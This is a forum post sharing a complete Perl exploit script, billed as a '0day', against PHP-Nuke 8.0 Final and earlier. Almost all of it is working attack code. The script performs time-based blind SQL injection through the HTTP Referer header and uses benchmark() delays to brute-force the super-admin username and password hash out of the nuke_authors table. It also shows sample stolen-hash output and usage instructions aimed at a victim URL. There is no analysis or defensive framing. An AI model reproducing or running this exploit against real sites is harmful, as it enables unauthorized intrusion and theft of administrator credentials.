Ras Posted September 21, 2007 Report Posted September 21, 2007 #!/usr/bin/perl#0day exploit for PHP-nuke <=8.0 Final#Blind sql injection attack in INSERT syntax#version for mysql >= 4.0.24, using 'brute force'#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]#Screenshot:#0day exploit for PHP-nuke <=8.0 Final#Sql injection attack in INSERT syntax#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]##[+]Time normal query: 2 seconds#[+]Length user's record: 5#[+]Length password's record: 32#[+]Login:#admin#[+]Password:#b481ab90de84a345c665f1e4ef3c2#[+]Super admin:#admin:b481ab90de84a345c66585e1f4cf16e4use strict;use warnings;use LWP;my $offset=4;#It is the most important variable!!my $adres=shift or help();my $ua = LWP::UserAgent->new;my $zadanie = HTTP::Request->new(GET => $adres);my($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);banner();$czas_nor=polacz("http://www.krasza.int.pl");print "[+]Time normal query: $czas_nor seconds\n";$dlugosc_user=ustal_dlugosc("aid",8);print "[+]Length user's record: $dlugosc_user\n";print "[+]Length password's record: 32\n";print "[+]Login:\n";$user=brute_force_aid($dlugosc_user);print "[+]Password:\n";$hash=brute_force_pass(32);print "[+]Super admin:\n";print "$user:$hash\n";##sub brute_force_pass{ my ($dlugosc)=@_; my ($i,$j,$referer,$wynik,$dolny_zakres); for($i=1;$i<=$dlugosc;$i++){ for($j=48;$j<=122;$j++){$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.")& 1,benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE`radminsuper`=1))/*"; $czy_dziala=czy_dziala($referer); if($czy_dziala==1){ $znak=chr($j); print "$znak"; $wynik.=$znak; if($i<$dlugosc){ $i+=1; $j=47; }else{ last; } } #przeskok-optymalizacja;] if($j==57){ $j=96; } } } print "\n"; return $wynik;}sub brute_force_aid{ my ($dlugosc)=@_; my ($i,$j,$referer,$wynik,$dolny_zakres); for($i=1;$i<=$dlugosc;$i++){ for($j=48;$j<=122;$j++){$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.")& 1,benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE`radminsuper`=1))/*"; $czy_dziala=czy_dziala($referer); if($czy_dziala==1){ $znak=chr($j); print "$znak"; $wynik.=$znak; if($i<$dlugosc){ $i+=1; $j=47; }else{ last; } } if($j==57){ $j=64; } if($j==90){ $j=96; } } } print "\n"; return $wynik;}sub ustal_dlugosc{ my ($pole,$len)=@_; my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba); $narazie_dziala_liczba=0; $nie_dziala_liczba=65; #for($len=1;$len<64;$len++){ while($len<=64){ if($narazie_dziala_liczba==$len ||$nie_dziala_liczba<=$len){ return $narazie_dziala_liczba; }$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((LENGTH(`".$pole."`)>".$len.")& 1, benchmark(50000000,CHAR(0)),0) FROM`nuke_authors` WHERE `radminsuper`=1))/*"; $czy_dziala=czy_dziala($referer); if($czy_dziala==1){ $narazie_dziala_liczba=$len+1; $len+=2; }else{ $nie_dziala_liczba=$len+1; $len-=1; } } print "[-]Exploit Failed\n"; exit;}sub czy_dziala{ my ($refik)=@_; my $czas_zapytania; $czas_zapytania=polacz($refik); if($czas_zapytania>$czas_nor+$offset){ return 1; }else{ return 0; }}sub polacz{ my ($referrer)=@_; my ($czas,$czas_poczatek,$czas_koniec); $zadanie->referer($referrer); $czas_poczatek=time(); $respone=$ua->request($zadanie); $respone->is_success or die "$adres : ",$respone->message,"\n"; $czas_koniec=time(); $czas=$czas_koniec-$czas_poczatek; return $czas;}sub banner{ print "0day exploit for PHP-nuke <=8.0 Final\n"; print "Blind sql injection attack in INSERT syntax\n"; print "version mysql >= 4.0.24, using 'brute force'\n"; print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";}sub help{ print "0day exploit for PHP-nuke <=8.0 Final\n"; print "Blind sql injection attack in INSERT syntax\n"; print "version mysql >= 4.0.24, using 'brute force'\n"; print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n"; print "Use:\n"; print "\tperl exploit.pl [url]\n"; print "\t[url]-vicitim webpage with index.php\n"; print "Example:\n"; print "\tperl bruteforce.pl http://phpnuke.org/index.php\n"; exit(0);} Quote